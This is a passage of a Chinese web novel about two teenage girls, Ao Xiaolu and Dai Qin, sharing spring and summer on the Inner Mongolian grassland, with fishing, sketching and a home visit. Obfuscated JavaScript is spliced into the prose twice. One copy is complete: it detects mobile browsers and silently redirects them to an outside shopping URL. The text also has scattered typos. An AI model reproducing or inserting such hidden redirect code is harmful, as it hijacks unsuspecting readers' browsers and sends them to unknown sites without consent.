敖小陆转过头看向戴琴,朝她伸出了手:“下来吧。” 戴琴看着下方铺满了水的原野,皱起眉头。敖小陆叹了口气,把缰绳甩给戴琴:“等着,我把雨鞋换下给你。” 她没戴琴娇气,挽起裤脚,三下五除二将雨鞋换下来,赤足站在了水里。融化的雪水没过了她的脚踝,她把雨鞋举过胸口,递给了戴琴:“诺,给你。” 戴琴居高临下地瞥了敖小陆一眼,又将目光挪到她手上拿着的雨鞋,停留了好一会。这才纡尊降贵,俯身拾起敖小陆的雨鞋,骑在马上换好,朝敖小陆伸出了手。 敖小陆微微一笑,接过她的手,小心地搀扶着她从马上下来,牵着她淌着水,一起步入春的世界。 草原的春是复杂喧嚣的。春风拂过苍茫的草原,拂开冰雪,被封冻了一整个冬天的河流也松动起来,碎冰裂开漂浮在河面上,缓缓推向四面八方的荒原,如同乳汁孕育着土地,丰饶的水草在其间茁壮成长。 最先感知到春天气息的,是河里的鱼。冰一解封,河里的鱼就活动起来。此时到河岸旁去钓鱼,大多数时候都能收得盆满钵满。开学的第二个月,敖小陆背了一箩筐的工具,牵着马带着戴琴来到了一处种满白桦树的河岸,开始鼓捣她的钓竿和鱼饵。 这回戴琴学乖了,敖小陆忙活的时候,她就拿出从图书馆借的书,坐在一旁卸下来的马鞍上,静静地翻着。此时春风柔和了不少,天气渐暖,明媚的春光穿过嫩绿的白桦树枝桠落在她的书页上。看着看着,她觉得有些晃眼,不由地抬手捏了捏眉间。 戴琴眨了眨眼,抬眸看向远处。松了缰绳的小梅站在远处的白桦树下,晃悠着马尾,低头啃食年头的第一波嫩草。她收回视线,看向近处的敖小陆,对方正襟危坐在河岸边的草地上,守着自己的做的简陋鱼竿,静默地等着鱼上钩。 没一会,戴琴就看到她那根用白桦枝做成的鱼竿颤颤巍巍地动了起来。 动了,动了…… 戴琴的目光牢牢地锁在敖小陆的鱼竿上,只见她沉着冷静地收着鱼线,而后猛地往上一甩——“啪”地一下一条巴掌大的鲫鱼甩在毛茸茸的草地上。敖小陆松开鱼竿,从地上蹦起来,跑到鲫鱼旁边蹲下身,手脚麻利地解开鱼嘴的钩子。 小鱼的嘴巴配合两侧的鱼鳃,一张一合的,特别有升级。等戴琴走过去的时候,恰好看到敖小陆将这条小鱼捧在手里,转身放进自己的鱼篓里。戴琴眼尖,一下就看到原先空落落的鱼篓,不知何时铺了浅浅一层小鱼。 她顿时惊住了:“这都是你刚钓的?” 敖小陆应得理所当然:“嗯!很好钓的。”她见戴琴有些异动,就将手里的鱼竿重新递了过去,语气蛊惑,“怎么样,要不要试试?” 戴琴犹豫片刻,在她的怂恿之下,接过鱼竿,正式开启了她人生里最不务正业的第一个春天。 冰雪化得很快,蘑菇也开始老了,但丰饶的草原从不会让人失去探索的欲望,没过多久,草长莺飞,大片大片的野花在草原上盛开,从高坡往下看,绚烂无比。 敖小陆最喜欢这个季节的花,太阳好的时候,她会骑着小马,将戴琴带到临近的草坡上写生。一边写生,一边和戴琴碎碎念自己喜欢的画家。 那时的戴琴还是一头扎进学习里,不懂什么巴洛克,洛可可,新古典主义,浪漫主义,现实主义等等……更不明白印象派为什么要分印象主义,后印象主义,新印象主义…… 她只是坐在敖小陆身旁,抱着练习册,计算那些复杂又劳神的算数物理。偶尔抬头一瞥,就看到敖小陆拿着画笔在她那满屏盛开的鲜花油画上,仔仔细细画下一缕又一缕的光。 光的名字叫做丁达尔效应。 她评价了一句挺好看的,敖小陆就转过头来看她,笑嘻嘻的:“好看吧,模仿莫奈的。” 戴琴应了一句:“哦……” 敖小陆将笔甩进水桶,笑着问她:“作业写完了吗?” 一旦戴琴说差不多了,她就利落地收拾好自己的画板,牵着她的手从高高的草坡上冲下,冲进星星点点的花丛里,开始翻找一些什么野葱,野韭菜,还有什么蒲公英啦。找到之后就顺手摘下,带回家里给阿尔丽,让她窝两个鸡蛋进去,美美地做上一顿野菜炒鸡蛋。 不过敖小陆也并不总是在画画。 有时天气不好,她们就会呆在家里,蹲守在电视机前一起看电视。因为空闲时间少,戴琴特别喜欢一个评书节目,每次都看得津津有味。敖小陆见她看得入迷,就放弃了那个时间段的动画片,全让给戴琴听书评,哪怕妹妹用幽怨的小眼神看她她也无动于衷。 还有的时候,敖小陆会带着戴琴去摸石头。颜料的价格很高,每次要用完之前,敖小陆就会背着箩筐在山林里,在河床边,在草原上,在荒漠的岩石旁捡一些能用的矿石,带到市内一家专门卖颜料的文具店换颜料。 经营这家店的老板,是个汉族人,当年逃荒来到九曲河,祖上专门做国画颜料的。敖小陆之所以认识他,还是她的老师介绍的。 就这样,她们在这片荒原摘蘑菇,捡石头,捞小鱼,高高兴兴地渡过了一个春天。直至霜凋夏绿,亘古不变的太阳热烈地挂在天空上,草原迎来了阳光万丈的夏天。 夏季是草原最舒适的季节。它既不像春天那样,温暖里带着料峭的干冷,也不像秋天那样,干燥得令人发昏。 草原的夏,是温和湿润,微风徐徐的,就好似那粗旷的蒙古汉子心中深藏的唯一柔情,也是学生们眼里最好睡觉的日子。 在一众拥护它的学生里,敖小陆是它最大的拥护者。她白天也睡,晚上也睡,除了音乐美术课,就没有醒的时候。 只有在周末,她才恢复点精神头,带着戴琴到九曲河边的白桦树林写生。通常都是她盘腿坐在画板前画画,一旁的戴琴捧着书看。远处的小梅摇着尾巴啃草,时不时踹一踹蹄子。微风拂过,树叶沙沙响。 她们各自做着自己的事,不需要交谈,默契地宛若一个整体。河水从她们身边潺潺流过,静谧地奔向无尽岁月的远方,永不停息。 当日头越来越晒,静谧的河流也开始热闹起来。一些胆大的男孩不顾学校家长的叮嘱,顶着大太阳脱了衣衫,从上游的大桥纵身一跃,摆动着黝黑的胳膊顺着河水游下来。游到敖小陆和戴琴写生的地方,猛地挥动着四肢,搅动河流,溅起无数水花,有一次还溅到了敖小陆的画。 她也不恼,只是抱着画家往上挪。 独独有一次生了气。那是几个同年级的男孩子浮在河水里,一边泼水,一边簇拥着吉尔各勒:“上啊……上啊……” 吉尔各勒是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这回敖小陆老实答了,凑到戴琴耳畔小小声的:“我把他们的衣服全部甩到树上,估计他们要泡在水里,一时半会上不来了。” 戴琴扫了她一眼,嗔道:“你一个女孩子……一肚子坏水……”她数落人,只数落到一半,像是想到了什么,掩唇低低地笑了起来。 敖小陆见她笑的花枝乱颤,也不知怎么地,跟着她一起笑了起来。两人凑在一起,越笑越畅快,比日落时的黄莺还要动听。 吉尔各勒的喜欢,成为少女避之不及的麻烦,也成为了敖小陆好奇的谜题。那天晚上的晚自习课间,敖小陆拉着戴琴的手,如同往常一般躺在操场上,眺望着璀璨的银河。 躺着躺着,敖小陆偏过头看向身侧的戴琴,主动开了口:“唉,你知道吗。巴雅尔喜欢陆绵绵。” 戴琴偏过头,有些惊讶地看向敖小陆:“啊?” 敖小陆笑嘻嘻的:“月好告诉我的,说去年的时候,巴雅尔问她知不知道绵绵喜欢什么,他想给绵绵送元旦礼物。” 戴琴惯常迟钝,对这种事也不太感兴趣。听到之后的第一个反应是:“原来是这样,难怪巴雅尔这么针对你。” 这回换敖小陆很吃惊了:“针对我?他针对我什么了?” “你对陆绵绵那么好,他一直看你不爽。” “我对陆绵绵很好吗?没有吧。” 敖小陆拧眉思索,将自己的所作所为都想了一遍。老实说这大半年,除了集体活动,她几乎都和戴琴待在一起,前阵子陈月好很失落地表示她们关系没有从前那么好了。 就这样,还算对陆绵绵好? 敖小陆转头看她:“唉,那你觉得我对你好不好?” 戴琴思索一阵,语气略带傲娇:“嗯……就那样吧。” 还“就那样吧!”听听,这都什么话。 “哼!”敖小陆甩了一下她的手,转过头看向一边。戴琴牵着她的手,一副高高在上的语气:“看吧,我才说了一句你就不高兴,看来我们俩之间也就那样嘛。” 傲娇死了。 “啊对对对,你说得没错……”敖小陆敷衍地应答着,忽而凑到到她面前一脸好奇地发问:“那你呢?你有喜欢的男孩吗?” 她似乎很感兴趣,今天三句话不离这个问题。戴琴审视地看着她,反问道:“你问这个做什么吗?你有喜欢的人了?” 敖小陆一脸坦诚“没有啊,我怎么可能会有。” 戴琴扫了她一眼,没好气道:“你没有,你问这个干什么?” “我就是好奇嘛。”敖小陆转身,侧身枕在手臂上,凝望着戴琴。夏日的星夜里,她那双漆黑的瞳孔比天上的星星还要深沉明亮。 她注视着戴琴的眼,神情温柔,带了点悲天悯人的气质,低声开了口:“你不喜欢吉尔各勒这样的男孩,那你喜欢什么样的?高大威猛的蒙古汉子,还是俊秀有礼的汉族小伙?” 或许就连敖小陆自己也不知道,每当她沉静下来,认真专注的时候,身上会流淌着一种与喇嘛们相同的气息。那是一种与自然相近,极为原始的,广袤的悲悯。是一种能抵达人心幽暗的光明神性。 这种时刻,在她画画的时候戴琴已经感受过许多次。每当遇到这种瞬间,戴琴总是无法拒绝与她产生链接。 戴琴沉吟着,好一会才回答道:“我从未考虑过这样的事,你现在问我,我肯定都不喜欢。” “哦……”敖小陆了然地点了点头。 戴琴侧眸望着她,忽而福至心灵,轻轻地拉了拉她的手:“你呢,会喜欢什么样的人?” 率先发问的人反而被问到了,敖小陆思索片刻后回答:“我嘛……嗯……” 不知道她想到了什么,轻快地笑了起来:“我的额么格说,男人都是茅坑里的石头,又臭又硬。哪怕能捡回来砌墙围羊,风吹日晒也会倒,最后都是靠不住的。” “男人……不喜欢也罢!” 戴琴早就知道敖小陆的外祖母是个彪悍的女子,可又一次听到这种观点,还是忍不住噗嗤一笑。她笑出了声,轻轻发问:“那女人呢?女人是什么?” “嗯……是花,是草,是藤蔓,也是树……只要有水土,无论是在悬崖峭壁,还是岩土平原,江河海底……都能漫天漫地,灿烂生长。” 戴琴忍不住笑了起来:“哈哈哈哈哈哈……” 18. 一辈子的好朋友 遇上那么一出,河岸戴琴是不想去了。但书还是要读的,只不过没有以前那么焦躁。恰逢期末将近,索性敖小陆也不再外出,两人凑在一起,空闲的时间都在学校的草坡上,林荫道旁,苹果林里拿着练习册复习。 当然,复习的是戴琴,敖小陆一如既往地抱着自己的小说打发时间。阳光透过纵横交错的枝叶落在敖小陆身上,将她从头晒到脚,晒了又晒,期末考试的最后一科成绩出来了。 戴琴以三分惜败陈月好,无缘进入重点班。在班主任带头的鼓掌声里,陈月好红着脸,被大家提前欢送入重点班。 戴琴拿到结果之后,一言不发地捏着试卷,紧咬着腮帮子,气得双颊鼓鼓的。 敖小陆坐在她身旁很是担忧:“你还好吗?” 戴琴转眸狠狠地看了她一眼,才长吐一口气,咬牙切齿道:“我讨厌三这个数字!” “……” 在这个考上大学毕业之后就能拿到推荐得到工作的年代,成绩尤为重要。为了让全校学生都能考上大学,从高二开始,每一年暑假都会补一个月的课。这也就意味着,升上高二之后,原本八月底的开学就改成了八月初左右。 暑假足足减少一个月,再加上班主任布置的高二预习作业,以及练习册,对孩子们来说简直是雪上加霜,大家忍不住纷纷哀嚎。 尤其是敖小陆这种不爱写作业的,趴在桌面那一摞练习册上,望着正在收拾东西的戴琴,一脸的面如死灰:“你能提前一周开学来我家给我抄你的作业吗?” 戴琴不假思索道:“不行。” “嗷!”敖小陆哀嚎一声,一双小鹿眼湿漉漉地望着她,“真的不行吗?我7.29号生日,你确定不给我过生日吗?” 戴琴转眸看向她,眼神惊讶:“你7.29生日?” “嗯。”敖小陆眨眨眼,神色乖巧,“怎么样,要不要来?” 戴琴也没有立即答应,给了个模棱两可的回答:“到时候再说吧。” 暑假的时候,哥哥戴弦照旧没有回来,家里只有她与父母三人。如同往年那般,她搬出凳子,坐在灰瓦廊下写作业。不到短短一周,作业也写完了。她便抱着敖小陆借给她的书,坐在院子里的枣树下翻看。 微风吹拂过树梢时,偶尔会落下一片叶子,夹在书逢里。她莫名地就想到那些在白桦树林下与敖小陆共度的时光。一想到她,仿佛她那小鹿铃铛般欢快的笑声,浸染了发丝的好闻香皂味,以及温柔的视线时刻萦绕在身旁。 有时候书也不看了,她就端坐在院子里,单手托着腮帮子,漫无目的望着前方空想。想敖小陆是不是又跟着舅舅去打猎了,大兴安岭的水那么凉,她会不会跳到河里去,万一感冒了怎么办? 又想她或许背着箩筐去捡石头了,山里有那么多毒蛇,千万不要被咬到。 当然待在室内最好了,去颜料店老板的画室,又或者是美术馆场学画画,最自在不过。 她就这么孤零零地坐在院子里,看着太阳的光线拉近又拉远,滴点的思念在胸膛汇聚成海,这一年的夏天格外漫长。 有一天晚上,天气很热,半梦半醒之中,她做了一个梦。 梦里她背着背篓,置身于灿烂的百花丛中,附身将那些五颜六色的花朵摘下,扔进背篓。梦里的一且都是轻快且明艳的,突然之间铅黑色的乌云笼罩天空,雷云滚滚而来。撕裂的雷声里,一只青黑色的利爪从云中朝她抓来,一把将她捞起,卷入滚滚雷层里。在那里,戴琴看到了一张很恐怖的脸。 那张脸生得青面獠牙,双眼赤红,眉间的第三只眼是金色的竖瞳,此刻泛着妖异的光。这张脸抓住了戴琴后,张开血盆大口,发出雷霆般的怒吼,猛地抬手就把戴琴往口腔中甩去。 戴琴吓得下意识闭上了眼,就在这时,下方的草原传来了一声暴喝:“妖怪!放开她!” 戴琴睁开眼,朝下放看去。赫然看见敖小陆骑在小梅身上,张弓搭箭,拉开了三只箭羽猛地朝抓住戴琴的妖怪射去。 “吼!”箭羽射向妖怪的三只眼,痛得它大声嚎叫的,不停地甩手舞眼睛。甩着甩着,戴琴就被它一把甩下云端,直直地朝下方坠去。 坠落……坠落……她双脚一阵抽搐,霎时间从梦中惊醒。 醒来之后,戴琴只模糊记得一些片段,其中最清晰的便是敖小陆骑在马上,牵着缰绳静静望着她坠落的神情。 一股无名火从心中来,她还在心中暗暗给敖小陆记了一笔,下回还在梦中见死不救,她就不理她一天。结果当天清晨,敖小陆就骑着马出现在了她家门前。 戴琴听到母亲说有同学来找她的时候惊呆了,她匆匆起身从房门出来,迈出大门门槛的时候,一眼就看到了站在院子里的敖小陆。一时间,她呆站在廊下,望着院中的清晰人影,犹在梦中。 彼时晨露正浓,晨曦落在院子里的黄瓜藤上,反射出晶莹剔透的光芒。敖小陆穿了一件白色上衣,将上衣塞进黑色的阔腿裤里,踩着小鹿皮靴背着画板,牵着小梅站在院子里,笑吟吟地看着她:“早。” “我写生缺个模特,所以来找你玩了。” 戴琴注视着这个站在自己身前的人,一颗心怦怦乱跳。明明前一秒还在梦中记挂着她,如今对方却活生生地站在自己面前,她手足无措,不知如何是好。 这大概是叶公好龙。 戴琴抬手捏住自己胸前的衣襟,压下自己的心跳咬住了下唇:“你先进来吧。” 戴琴家里难得有同学来,戴林和陆荛都高兴,又听说敖小陆家住在城里,更不好怠慢,大清早的就忙活起来,做了一顿丰盛的早餐招待对方。敖小陆来的路上自己带了香喷喷的夹子,本不打算在戴琴家吃饭的。可收到这么热情的招待,她还是推脱不了,在她家吃了早餐。 白薯干煮的粥软糯又香甜,窝了野韭菜干的炒鸡蛋极为开胃,裹上鸡蛋液的老面馒头片放在锅里一炸,又脆又香。当然,最让孩子们喜欢的,是牧民家中常做的一道贵重的小甜点——奶豆腐。豆腐裹上面糊放进油锅里炸,捞起来淋上一层糖浆。 吃饭的时候,陆荛一个劲地给敖小陆夹菜,略带了几分拘谨和谄媚:“家里也没啥好招待你的,小鹿同学,你别嫌弃啊,多吃点。” “这些白薯啊,野韭菜啊,鸡蛋啊,都是我们家自己种的,自己摘的,味道还是可以的。” 一旁的戴琴捧着碗默默听着,神色很平静。 当事人敖小陆都快把脸埋进饭碗里了,听到陆荛疯狂扒着饭碗说:“哪里哪里,超好吃!太好吃了!” “比我额么格做的还好吃。” 她一边吃,一边和陆荛说了点自己外婆家的事。陆荛听说她额么格在松林山放牧,都是牧民的孩子,也松了一口气。 但热情还是不减的,敖小陆个子又高,体格又很健康,陆荛怕女孩子青春期不敢多吃饿到肚子,给她添了一碗又一碗,直到敖小陆吃得圆滚滚了,才停下劝饭的速度。 一顿早饭吃下来,愣是给敖小陆吃晕了早饭过后,她还主动收拾碗筷,跟着陆荛去厨房洗碗。洗碗的时候,她还说了不少戴琴在学校的事。 没有一个爱孩子的母亲,会不想知道自己孩子的生活。听说戴琴在学校这里好,那里好,陆荛心里十分自豪。只不过敖小陆话锋一转,说戴琴就是有点为学习太拼命了。 陆荛默默听着,时不时点头,还附和两句:“她从小就这样,我和她爸其实不指望她有多大富大贵,出人头地,只要能考上大学,毕业之后能分配到一个清闲的工作。嫁个好男人,生个孩子,不像她姐姐那样放羊吃苦我们就心满意足了。” 敖小陆疯狂点头:“嗯,是是是。” 戴琴迈入厨房的时候,看到的就是她们相谈甚欢的这一幕。也不知道谁才是敖小陆的朋友,怎么上到八十岁,下到八岁她都能聊。 戴琴唤了一声:“妈……” 陆荛和敖小陆齐齐朝她看来,只见戴琴扶着门框幽幽地看着她们:“你们碗洗好了吗?洗好了,敖小陆你要不要和我出去走走?” 敖小陆一下就笑了,大大方方道:“要!” 早饭过后,戴琴带着敖小陆外出消食。两人牵着马从田埂旁走过,前往对面的沙地。路上还遇到了几个扎着头巾,背着箩筐抱着孩子的年轻女人,正在拿着镰刀割猪草。 敖小陆牵着马看了她们两眼,很是自豪道:“打猪草,我小时候也干过呢。” 戴琴有些诧异:“你干过?你家养不了猪吧。” “干过的啊,在我姥姥家。我可能干了,每次能背一大把。” 敖小陆又开始显摆自己是个干农活的一把好手,听到她们的对话,割草的女人们下意识地抬眸看了几眼,只是一见这两人都是松风水月那般的人物,便如同被太阳灼伤了手臂,悻悻地收回艳羡的目光,将头压得更低了。 经过小河的时候,敖小陆还看到河岸两边的草丛生了不少红色的浆果,就要跳下河去摘。还是戴琴伸手一把将她拽住了,说草丛里有很多蛇,随便下去容易被咬。 “好吧好吧。”敖小陆也不气馁,又抛出新的问题,“我看这边农田开垦比较多,你们家是一直在这边种田吗?” 戴琴并不是很想谈自己家的事,语气稍稍淡了点:“不是,我家以前也放羊。” “哦。”通过她的语气,敖小陆知道她不爱说这个,就换了话题,“那你作业写完了没有,我这次来可不可以把你的作业带回去抄啊?” 戴琴扫了她一眼,神色平静:“你还没告诉我,你是怎么知道我家在哪里的。” 戴琴自认为非常小心谨慎了,如果不是同村人,还是很难知道她家在哪里的。不过她实在是低估了自己,也低估了美貌和智慧相合的价值。 敖小陆笑吟吟的:“你比你想象得有名多了,稍微打听一下就知道了。” 两人边说边聊,牵着小梅沿着河道,漫无目的地往前走。大多数时候是敖小陆在说话,戴琴跟在她身旁静默地听着。 敖小陆说自己捡了几块石头,又画了几幅画,顺便还带了一个新的消息。 “对了。”她转头看向戴琴,兴致勃勃的,“我的老师给老板打电话了,说7月28号会有流星雨,她会去松林山拍摄,希望我到时候能在舅舅家等她。” 敖小陆停下脚步,目光坚定:“你要不要跟我一起去。” 这个日期离敖小陆的生日很近,戴琴就算是再迟钝,也能从中感受到敖小陆的希冀。可她仍旧没有立即回复,只模棱两可道:“再说吧。” 敖小陆便不再为难她,两人沿着河道往上走了一段,地貌开始逐渐变化,由原本的低山丘陵,渐渐地转变为沙丘平原。林荫不再,太阳变得炙热起来,敖小陆将小梅栓在一棵河边的白桦树下,抱着画板和戴琴在草地上坐了下来。 她将画板架起,拿起碳素笔笑嘻嘻地看向戴琴:“劳您受累,摆个舒服的姿势,给我当一天模特。” 文具微微蹙眉:“你真的要画?” “当然,这可是我的作业,骗你干嘛。” “那你画好看点。” “放心放心,我画人也是一流的。” 九曲河这个广袤又偏远的城市,拥有着完成的蒙古族艺术传承。相较于舞蹈和音乐,书法和宗教信仰,美术是各类艺术里最不受重视一项。中学时期,一到美术课,几乎都被语数外等主课占领。在这样的情形之下,除开学生天赋异禀外,一个普通的乡镇中学几乎培养不出一个美术生。 戴琴对美术生的了解,全部源自于敖小陆。与她待在一起的这半年,敖小陆充分展露了一个美术生的专业素养——用色大胆且精准,画技精湛且细腻。 一言以蔽之——这东西看起来很贵,并且能卖钱。 至少在戴琴看来,就算敖小陆的文化课考得稀巴烂,也能够凭借自己的画考上内蒙古美术学院。 她对敖小陆的画技还是很放心的。 只是人一放松,就容易注意到别的东西。比如夏日的微风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240096|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹过树梢,无数片叶子摩擦着沙沙响。阳光从枝叶楼下来,照在脚边的青草地上,一垂眸就能看到斑驳的光点。 光点不止落在了脚边,还落在了背上。随着风摇来晃去,晒得人暖洋洋的。 戴琴用手肘支撑着膝盖,托着腮帮子看向左斜方,遥遥地就看到一个土墙白瓦的泥房子,一棵大枣树从院子里探出来,越过了低矮的围墙,遮天蔽日地伸展着。 戴琴想到小的时候,自己总是孤零零地坐在院子里。那时候的院子很大,只有一条小狗陪着她,她抱着小狗看向紧闭的柴门,泥墙与柴门又高又大,就像自己仰望的天空。偶尔会有老鹰飞过苍穹,她透过门扉想象着自己是一匹骏马,一只老鹰,穿梭在荒原,自由自在。 她的内心没有自卑,没有窘迫,没有懦弱,只有鹰击长空的勇敢。 是什么时候起,这一切都改变了? 是她发现自己家的房子,在偏远的村落,每次上学都要走半天的路。是她发现自己的院落的泥墙低矮又灰扑扑,挡不住顽劣孩子扔进来的情书。还是说父亲的挚友以两头牛的价格,想要把她买过去当儿媳妇,她的命因为贫穷在别人眼里是如此卑贱? 太多,太多了。 老话常说,近则不恭。在社交场合里,一旦让人知道你的全貌,就会存在被人轻视拿捏的可能。对于戴琴而言,她贫穷的,不富裕的家庭,就是被她藏在冬日新棉袄地下的破棉衣,是她干净布鞋里的破洞袜子。无论如何,她都不想被人看到。 可是敖小陆来了,她以为自己会因为窘迫对对方大发雷霆。奇怪的是,她不但没有生气,反而生出了另一种情绪。那是她压抑多年,无法被人看到的渴望。 戴琴转眸,看向了身旁认真绘画的敖小陆:“你怎么忽然就来找我了?” 碳素笔在素描纸上沙沙响,敖小陆抬眸扫了眼戴琴,应得很随意:“都说了,来找你做模特的。” 戴琴才不信这个,也不想听这个:“说真话。” 敖小陆抿唇思索片刻:“嗯……我觉得你应该想见我,所以我就来了。” 戴琴的心顿时一悸,面上却仍旧不动声色:“油嘴滑舌,说人话。” “好吧好吧。”敖小陆敷衍不了,只好长叹一口气,抬眸看向戴琴,认认真真道:“因为你想见你,所以来了。” 说得那么正经,戴琴都要替她脸红了:“不正经。” 戴琴噎了一句,把手放在唇边佯装轻咳了一声:“想必你这个暑假见了不少人吧。这句话你对几个人说过啊陈宝玉。” 敖小陆这回是真的无辜:“我哪有,我就只是来见了你。” 戴琴不信:“哦?那你敢说你没见陈月好?” “见是见了,但也是为了知道你家在哪里,才找她问人打听的嘛。” 她说得信誓旦旦,不似作假。戴琴的心也宛若顶上的树叶,随风摇曳起来:“单单见了我,这么想我啊?” 往常敖小陆还会和她斗嘴,这回却一反常态地点了点头:“嗯。”戴琴有些惊讶,朝她看了过去。她仍旧在拿着碳素笔写写画画,平静的神色里,带着一种难以言喻的郑重,“我们一直在一起玩的嘛,放假那么久不见你,我肯定会很想你的。” 她解释得那么认真,反倒让戴琴不习惯起来。 一股燥热从胸腔升上面颊,许是错觉,戴琴开始觉得自己耳朵又些发烫。她轻笑一声,想将这个话题带过去:“你好粘人啊敖小陆,要是我们以后分开了,你可怎么办?” “分开就分开啊,正是以后会分开,现在能见面的时候,才要多见一面嘛。” 敖小陆的语气淡淡,戴琴惊讶地看过去时,她一边认真地涂抹着画纸,一边散漫地应道:“反正我们大学肯定不会考上同一个地方,也就是说上了大学我们就会分开了。” “从现在到高三毕业,也就短短两年。这两年里,除去上课,睡觉,放寒暑假……其实我们能在一起的时间少之又少。” 敖小陆想到戴琴妈妈的话,抬眸看向戴琴,浅浅笑了一下:“时间那么宝贵,当然是要在能相见的时候多多见面。要不然等你以后上大学谈恋爱,结婚生子,忙起来更加没空了。” 戴琴被她的笑晃了一下眼,她顿了顿,反问了一句:“为什么你会觉得我们大学考不到一个地方?” 敖小陆应得理所当然:“你成绩那么好,肯定能去一个很好的大学,考去首都也说不准。”说到这里,她撇撇嘴,有些幽怨:“就我这个成绩,能不能留在本地上大学都够呛。” 谁料戴琴却说道:“既然这样,那你接下来的两年就好好补一下文化课啊。说不定呢我们能去同一个地方呢。” “唉?”敖小陆抬眸,惊讶地看着戴琴。 她知道的,戴琴向来是不管别人死活的。哪怕她们关系那么好,做了差不多一年的朋友,戴琴也没有插手过她的学习,她的成绩,而是放任自流,随便她想干嘛就干嘛。 可是现在,竟然说出这样的话。 敖小陆感受到震荡,她不由地抬手将掌心压在戴琴额头上:“你没事吧?没发烧吧?” 戴琴却拂开她的手,望着她郑重其事道:“你的文化课虽然稀巴烂,但是认真学习,还是能上内蒙古美术学院的。到时候我也考去内蒙古,毕业以后做老师或者公务员……” 她说到这里,顿了顿,没有继续再说话,只是用她那双明亮的眼神,认真地看着敖小陆。 敖小陆看穿了她的难为情,轻轻笑了起来:“我考不好公务员,但我毕业之后做个美术老师。到时候去同一个学校,我们还是好朋友。” 敖小陆朝戴琴伸出手,眼里的笑带着几分慈爱:“就这么定了啊,要做就做一辈子的好朋友。” 戴琴赧然,去拍她的手:“谁要和你一辈子。” 敖小陆被她拍得痛呼一声,露出求饶的表情。戴琴这才得逞一笑,伸出小拇指去勾她的小拇指,轻轻拉了拉,“先做完这两年,再预定好大学再说吧。” 19. 崭新的路标 同样都是出身游牧民族,敖小陆继承了先祖的随性与乐观。但落在戴琴身上的,却是看天吃饭所带来的疑神疑鬼与动荡不安。 这就导致了戴琴非常容易制定计划,也非常容易根据环境和客观因素调整策略和计划。在她们那个年代,世界变换得太快了。上一秒给出的承诺,下一秒就可能不算数了。 为了能保证自己的承诺有效,戴琴还是做了一些尝试。例如这一日等敖小陆画完肖像后,拉着她回家拿出高一课本,开始给敖小陆摸底。 敖小陆的理科烂得一塌糊涂,唯一能救得只有文科还有英语了。索性假期还有十天才结束,戴琴就将自己的笔记本塞给对方,叮嘱对方好好背诵。 敖小陆打蛇随棍上,拿着笔记本就可怜巴巴地看向戴琴,说没有督促她可是很懒的。然后小心翼翼地拉着戴琴的袖子,说你也不像其他人那样假期要帮爸妈干活,干脆就去我家住几天,给我当家教挣点外快呗。 反正她家送她去隔壁老师家补习也要一笔钱,还不如给戴琴赚。她看戴琴平日里也会给同学讲题,这教师素养一定行。 戴琴原本是想拒绝她的,可她的眼神实在是太向小狗,刚到嘴角的话就改成了“行吧。” 就这么顺理成章的,这天傍晚,戴琴和家里的父母商量了几句,收拾好行李,跟着敖小陆回到市内。两人在日落之前回到陈家,下马的时候,戴琴转身看向天边的火烧云,脑子还有些蒙圈。 敖小陆倒是高兴坏了,拎着戴琴的行李从马上跳下来,一边牵着马往家中走,一边喊道:“妈妈,我把戴琴带回来了。” 阿尔丽听了从屋子里走出来,手上还拿着裁剪刀,和戴琴打了个照面,喊了一句”腾格里“,欢天喜地地转身就进屋子说要开始做饭了。 很快一家子热闹起来,做了一顿好吃的招待戴琴。 戴琴已经不是第一次来敖小陆家吃饭了,但还是第一次正儿八经的留宿。晚饭过后,敖小陆催着她去洗澡,等戴琴出来的时候,敖小陆拉着到客厅,打开家里的黑白电视,给她放动画片看。一边放,一边和戴琴说:“等我洗完我们来看电影啊。” 敖小陆仗着自己是主人家,完全将学习一事抛到后头,洗完澡出来就开始往cd机里放碟片。第一次留宿的戴琴不免有些忐忑,老老实实地陪她看完了。结果敖小陆得寸进尺,第二天开始看起了古惑仔。 来了那么两三次之后,戴琴也彻底适应在陈家的生活。闲着也是闲着,她开始压着敖小陆学习。严格按照早八晚五的原则,掐着敖小陆学英语,背那些她抄写过无数次的英文单词所含的汉语意思。 因此每天早上八点,敖小陆的房间就会传来一阵叽里呱啦的鸟语,听得楼下的阿尔丽和陈父陈柯十分欣慰。不过这样的学习生活并没有持续多久,没过两天,敖小陆的老师来了。 那是个天气很热的中午,她和敖小陆在房间里背历史重点,敖小河则在楼下开着电视专心致志地看电视剧。房间里有点热,三叶扇呼呼地吹着风,她盘腿坐在蒲团上,给敖小陆抛问题。敖小陆趴在地板上,哼哼唧唧地回答。忽然窗外传来了一阵中气十足的女声:“敖小陆!敖小陆!” “出来。” 在这一嗓子之下,趴在地上的敖小陆如同警觉的狗,迅速从地上起身,踩着拖鞋就往外跑。她一边跑还一边欢天喜地的喊:“师父……” 戴琴听到她这么称呼,也连忙穿上鞋跑出门外,朝楼下走去。等她走到大门口时,一眼就看到一个女人一手将笑得满脸开花的敖小河抱在怀里,另一手则探出来,张手捏了捏敖小陆的脸。 女人身高与敖小陆相近,一头大波浪的卷发上压着顶黑色的棒球帽。双耳坠着拳头大的耳环,上身穿着白色的工装背心,下身穿着军绿色的工装裤,腰间扎着一件同套装的工装外套。裸露出来的肌肤如蜜,眼眸深沉又明亮,看起来非常的健康。 戴琴看不出她的年龄,第一眼看过去,在她身上感受到了一种和敖小陆相似的气息。 她站在门口,隔了好几步遥遥看着她们。好一会女人才松开敖小陆,抬手在她头上狠狠揉了一把:“又长高了点啊。” 